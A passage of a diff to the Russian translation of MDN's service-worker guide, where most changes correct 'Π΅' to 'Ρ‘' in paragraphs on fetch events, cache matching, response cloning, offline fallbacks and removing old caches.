+<p><span style="font-size: 14px; line-height: 21px;"><strong>На Π·Π°ΠΌΠ΅Ρ‚ΠΊΡƒ</strong></span>: <a href="/en-US/docs/Web/Guide/API/DOM/Storage">localStorage</a>Β Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ схоТим ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π½ΠΎ Π² синхронном Ρ€Π΅ΠΆΠΈΠΌΠ΅, поэтому Π·Π°ΠΏΡ€Π΅Ρ‰Ρ‘Π½ Π² сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€Π°Ρ….</p>
</div>
<div class="note">
@@ -264,7 +264,7 @@ imgLoad('myLittleVader.jpg').then((response) =&gt; {
<p><img alt="" src="https://mdn.mozillademos.org/files/12634/sw-fetch.png" style="display: block; margin: 0 auto;"></p>
-<p>Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ <code>fetch</code> Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°ΡŽΡ‚ΡΡ Π»ΡŽΠ±Ρ‹Π΅ ΠΏΠΎΠ΄ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Ρ‹Π΅ сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€Ρƒ рСсурсы, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ относятся Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ ΠΈΠ· области видимости ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ рСсурсы, связанныС с этими Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ссли Π² index.html происходит кросс-Π΄ΠΎΠΌΠ΅Π½Π½Ρ‹ΠΉ запрос для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ изобраТСния, Ρ‚ΠΎ ΠΎΠ½ Ρ‚ΠΎΠΆΠ΅ ΠΏΠΎΠΏΠ°Π΄Π΅Ρ‚ Π² сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€).</p>
+<p>Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ <code>fetch</code> Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°ΡŽΡ‚ΡΡ Π»ΡŽΠ±Ρ‹Π΅ ΠΏΠΎΠ΄ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Ρ‹Π΅ сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€Ρƒ рСсурсы, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ относятся Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ ΠΈΠ· области видимости ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ рСсурсы, связанныС с этими Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ссли Π² index.html происходит кросс-Π΄ΠΎΠΌΠ΅Π½Π½Ρ‹ΠΉ запрос для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ изобраТСния, Ρ‚ΠΎ ΠΎΠ½ Ρ‚ΠΎΠΆΠ΅ ΠΏΠΎΠΏΠ°Π΄Ρ‘Ρ‚ Π² сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€).</p>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ ΠΊ сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€Ρƒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события <code>fetch</code> ΠΈ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π½Π΅Π³ΠΎ Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ события Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>respondWith()</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚Ρ‹ ΠΈ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ "магию".</p>
@@ -322,7 +322,7 @@ event.request.body</pre>
<h2 id="ВосстановлСниС_Π½Π΅ΡƒΠ΄Π°Ρ‡Π½Ρ‹Ρ…_запросов">ВосстановлСниС Π½Π΅ΡƒΠ΄Π°Ρ‡Π½Ρ‹Ρ… запросов</h2>
-<p>Π˜Ρ‚Π°ΠΊ, <code>caches.match(event.request)</code> ΠΎΡ‚Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΊΠ°ΠΊ Π½ΡƒΠΆΠ½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ‚ΠΎΠΌ случаС, Ссли Π² кСшС сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€Π° Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°ΠΉΠ΄Π΅Π½ΠΎ соотвСтствиС запросу. Но Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚, Ссли Ρ‚Π°ΠΊΠΎΠ³ΠΎ соотвСтствия Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°ΠΉΠ΄Π΅Π½ΠΎ? Если ΠΌΡ‹ Π½Π΅ прСдоставим Π½ΠΈΠΊΠ°ΠΊΠΎΠ³ΠΎ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠ° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Ρ‚Π°ΠΊΠΎΠΉ ситуации, Ρ‚ΠΎ промис выполнится со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>undefined</code> ΠΈ ΠΌΡ‹ Π½Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠΌ Π½ΠΈΠΊΠ°ΠΊΠΎΠ³ΠΎ значСния.</p>
+<p>Π˜Ρ‚Π°ΠΊ, <code>caches.match(event.request)</code> ΠΎΡ‚Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΊΠ°ΠΊ Π½ΡƒΠΆΠ½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ‚ΠΎΠΌ случаС, Ссли Π² кСшС сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€Π° Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°ΠΉΠ΄Π΅Π½ΠΎ соотвСтствиС запросу. Но Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚, Ссли Ρ‚Π°ΠΊΠΎΠ³ΠΎ соотвСтствия Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°ΠΉΠ΄Π΅Π½ΠΎ? Если ΠΌΡ‹ Π½Π΅ прСдоставим Π½ΠΈΠΊΠ°ΠΊΠΎΠ³ΠΎ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠ° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Ρ‚Π°ΠΊΠΎΠΉ ситуации, Ρ‚ΠΎ промис выполнится со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>undefined</code> ΠΈ ΠΌΡ‹ Π½Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠΌ Π½ΠΈΠΊΠ°ΠΊΠΎΠ³ΠΎ значСния.</p>
<p>К ΡΡ‡Π°ΡΡ‚ΡŒΡŽ, сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€Ρ‹ ΠΈΠΌΠ΅ΡŽΡ‚ структуру ΠΎΡΠ½ΠΎΠ²Π°Π½Π½ΡƒΡŽ Π½Π° промисах, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ Ρ‚Ρ€ΠΈΠ²ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ Ρ‚Π°ΠΊΡƒΡŽ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ ΠΈ прСдоставляСт большоС количСство способов ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ запрос:</p>
@@ -334,9 +334,9 @@ event.request.body</pre>
);
});</pre>
-<p>Если промис Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½, функция <code>catch()</code> Π²Π΅Ρ€Π½Π΅Ρ‚ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ сСтСвой запрос ΠΊ Π²Π½Π΅ΡˆΠ½Π΅ΠΌΡƒ рСсурсу. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ, Ссли ΡΠ΅Ρ‚ΡŒ доступна, Ρ‚ΠΎ рСсурс просто загрузится с сСрвСра.</p>
+<p>Если промис Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½, функция <code>catch()</code> Π²Π΅Ρ€Π½Ρ‘Ρ‚ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ сСтСвой запрос ΠΊ Π²Π½Π΅ΡˆΠ½Π΅ΠΌΡƒ рСсурсу. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ, Ссли ΡΠ΅Ρ‚ΡŒ доступна, Ρ‚ΠΎ рСсурс просто загрузится с сСрвСра.</p>
-<p>Если ΠΆΠ΅ ΠΌΡ‹ Π±Ρ‹Π»ΠΈ достаточно ΡƒΠΌΠ½Ρ‹, Ρ‚ΠΎ ΠΌΡ‹ Π½Π΅ стали Π±Ρ‹ просто Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ сСтСвой запрос, Π° сохранили Π±Ρ‹ Π΅Π³ΠΎ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π² кСшС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π² offline-Ρ€Π΅ΠΆΠΈΠΌΠ΅. Π’ случаС с нашим Π΄Π΅ΠΌΠΎ-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΠΌΒ "Star Wars gallery", это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ, Ссли Π² Π³Π°Π»Π΅Ρ€Π΅ΡŽ Π±ΡƒΠ΄Π΅Ρ‚ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΎ Π΅Ρ‰Π΅ ΠΎΠ΄Π½ΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Ρ‚ΠΎ ΠΎΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΎ ΠΈ сохранСно Π² кСшС:</p>
+<p>Если ΠΆΠ΅ ΠΌΡ‹ Π±Ρ‹Π»ΠΈ достаточно ΡƒΠΌΠ½Ρ‹, Ρ‚ΠΎ ΠΌΡ‹ Π½Π΅ стали Π±Ρ‹ просто Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ сСтСвой запрос, Π° сохранили Π±Ρ‹ Π΅Π³ΠΎ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π² кСшС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π² offline-Ρ€Π΅ΠΆΠΈΠΌΠ΅. Π’ случаС с нашим Π΄Π΅ΠΌΠΎ-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΠΌΒ "Star Wars gallery", это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ, Ссли Π² Π³Π°Π»Π΅Ρ€Π΅ΡŽ Π±ΡƒΠ΄Π΅Ρ‚ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΎ Π΅Ρ‰Ρ‘ ΠΎΠ΄Π½ΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Ρ‚ΠΎ ΠΎΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΎ ΠΈ сохранСно Π² кСшС:</p>
<pre class="brush: js notranslate">self.addEventListener('fetch', (event) =&gt; {
event.respondWith(
@@ -351,11 +351,11 @@ event.request.body</pre>
);
});</pre>
-<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ сСтСвой запрос, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½ Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ <code>fetch(event.request);</code> этот запрос Ρ‚Π°ΠΊΠΆΠ΅ являСтся промисом. Когда промис Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡΡ, ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠΌ кСш Π²Ρ‹Π·Π²Π°Π² <code>caches.open('v1');</code> этот ΠΌΠ΅Ρ‚ΠΎΠ΄ Ρ‚Π°ΠΊΠΆΠ΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ промис. Когда Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡΡ ΡƒΠΆΠ΅ Π²Ρ‚ΠΎΡ€ΠΎΠΉ промис, Π±ΡƒΠ΄Π΅Ρ‚ использован Π²Ρ‹Π·ΠΎΠ² <code>cache.put()</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ рСсурс Π² кСш. РСсурс ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ Ρ‡Π΅Ρ€Π΅Π· <code>event.request</code>, Π° ΠΎΡ‚Π²Π΅Ρ‚ β€” Ρ‡Π΅Ρ€Π΅Π· ΠΊΠ»ΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ <code>response.clone()</code>. Клон помСщаСтся Π² кСш, Π° ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΡ‚Π²Π΅Ρ‚ пСрСдаСтся Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ Π΅Π³ΠΎ страницС, которая запросила рСсурс.</p>
+<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ сСтСвой запрос, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½ Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ <code>fetch(event.request);</code> этот запрос Ρ‚Π°ΠΊΠΆΠ΅ являСтся промисом. Когда промис Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡΡ, ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠΌ кСш Π²Ρ‹Π·Π²Π°Π² <code>caches.open('v1');</code> этот ΠΌΠ΅Ρ‚ΠΎΠ΄ Ρ‚Π°ΠΊΠΆΠ΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ промис. Когда Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡΡ ΡƒΠΆΠ΅ Π²Ρ‚ΠΎΡ€ΠΎΠΉ промис, Π±ΡƒΠ΄Π΅Ρ‚ использован Π²Ρ‹Π·ΠΎΠ² <code>cache.put()</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ рСсурс Π² кСш. РСсурс ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ Ρ‡Π΅Ρ€Π΅Π· <code>event.request</code>, Π° ΠΎΡ‚Π²Π΅Ρ‚ β€” Ρ‡Π΅Ρ€Π΅Π· ΠΊΠ»ΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ <code>response.clone()</code>. Клон помСщаСтся Π² кСш, Π° ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΡ‚Π²Π΅Ρ‚ пСрСдаётся Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ Π΅Π³ΠΎ страницС, которая запросила рСсурс.</p>
-<p>ΠŸΠΎΡ‡Π΅ΠΌΡƒ? ΠŸΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠΈ запроса ΠΈ ΠΎΡ‚Π²Π΅Ρ‚Π° ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Π½Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π΅Π΄ΠΈΠ½ΠΎΠΆΠ΄Ρ‹. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚Π²Π΅Ρ‚ Π±Ρ‹Π» ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ ΠΈ сохранСн Π² кСшС, Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΊΠ»ΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ. Π’Π°ΠΊ ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ отправится Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ, Π° ΠΊΠ»ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½. Оба ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Π½Ρ‹ Π΅Π΄ΠΈΠ½ΠΎΠΆΠ΄Ρ‹.</p>
+<p>ΠŸΠΎΡ‡Π΅ΠΌΡƒ? ΠŸΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠΈ запроса ΠΈ ΠΎΡ‚Π²Π΅Ρ‚Π° ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Π½Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π΅Π΄ΠΈΠ½ΠΎΠΆΠ΄Ρ‹. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚Π²Π΅Ρ‚ Π±Ρ‹Π» ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ ΠΈ сохранён Π² кСшС, Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΊΠ»ΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ. Π’Π°ΠΊ ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ отправится Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ, Π° ΠΊΠ»ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½. Оба ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Π½Ρ‹ Π΅Π΄ΠΈΠ½ΠΎΠΆΠ΄Ρ‹.</p>
-<p>Π£ нас всС Π΅Ρ‰Ρ‘ остаСтся СдинствСнная ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° - Ссли Π½Π° ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ запрос Π² кСшС Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°ΠΉΠ΄Π΅Π½ΠΎ соотвСтствиС, ΠΈ Π² этот ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΡΠ΅Ρ‚ΡŒ Π½Π΅ доступна, Ρ‚ΠΎ наш запрос Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ Π½Π΅ΡƒΠ΄Π°Ρ‡Π½ΠΎ. Π”Π°Π²Π°ΠΉΡ‚Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅ΠΌ запасной Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΏΡ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ, Π² описанном случаС, Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ Ρ…ΠΎΡ‚ΡŒ Ρ‡Ρ‚ΠΎ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ:</p>
+<p>Π£ нас всС Π΅Ρ‰Ρ‘ остаётся СдинствСнная ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° - Ссли Π½Π° ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ запрос Π² кСшС Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°ΠΉΠ΄Π΅Π½ΠΎ соотвСтствиС, ΠΈ Π² этот ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΡΠ΅Ρ‚ΡŒ Π½Π΅ доступна, Ρ‚ΠΎ наш запрос Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ Π½Π΅ΡƒΠ΄Π°Ρ‡Π½ΠΎ. Π”Π°Π²Π°ΠΉΡ‚Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅ΠΌ запасной Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΏΡ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ, Π² описанном случаС, Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ Ρ…ΠΎΡ‚ΡŒ Ρ‡Ρ‚ΠΎ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ:</p>
<pre class="brush: js notranslate">self.addEventListener('fetch', (event) =&gt; {
event.respondWith(
@@ -406,7 +406,7 @@ event.request.body</pre>
<h3 id="Π£Π΄Π°Π»Π΅Π½ΠΈΠ΅_старого_кСша">Π£Π΄Π°Π»Π΅Π½ΠΈΠ΅ старого кСша</h3>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ событиС activate. Оно ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² случаС, Ссли Π½ΡƒΠΆΠ½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Ρ‚Π°ΠΊΠΈΠ΅ дСйствия, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ‹ Π½Π°Ρ€ΡƒΡˆΠΈΠ»ΠΈ Ρ€Π°Π±ΠΎΡ‚Ρƒ Π²ΠΎΡ€ΠΊΠ΅Ρ€ΠΎΠ² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ вСрсии, Ссли ΠΎΠ½ΠΈ всС Π΅Ρ‰Π΅ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ со старым кСшСм. Π’Π°ΠΊΠΆΠ΅ это событиС ΠΏΠΎΠ»Π΅Π·Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ Π½Π΅Π½ΡƒΠΆΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡΠ²ΠΎΠ±ΠΎΠ΄ΠΈΡ‚ΡŒ мСсто, Π·Π°Π½ΠΈΠΌΠ°Π΅ΠΌΠΎΠ΅ Π½Π° дискС, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈΠΌΠ΅Π΅Ρ‚ ТСсткиС ограничСния Π½Π° Ρ€Π°Π·ΠΌΠ΅Ρ€ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π° кСша, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ доступно для использования сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€Π°ΠΌΠΈ.</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ событиС activate. Оно ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² случаС, Ссли Π½ΡƒΠΆΠ½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Ρ‚Π°ΠΊΠΈΠ΅ дСйствия, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ‹ Π½Π°Ρ€ΡƒΡˆΠΈΠ»ΠΈ Ρ€Π°Π±ΠΎΡ‚Ρƒ Π²ΠΎΡ€ΠΊΠ΅Ρ€ΠΎΠ² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ вСрсии, Ссли ΠΎΠ½ΠΈ всС Π΅Ρ‰Ρ‘ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ со старым кСшСм. Π’Π°ΠΊΠΆΠ΅ это событиС ΠΏΠΎΠ»Π΅Π·Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ 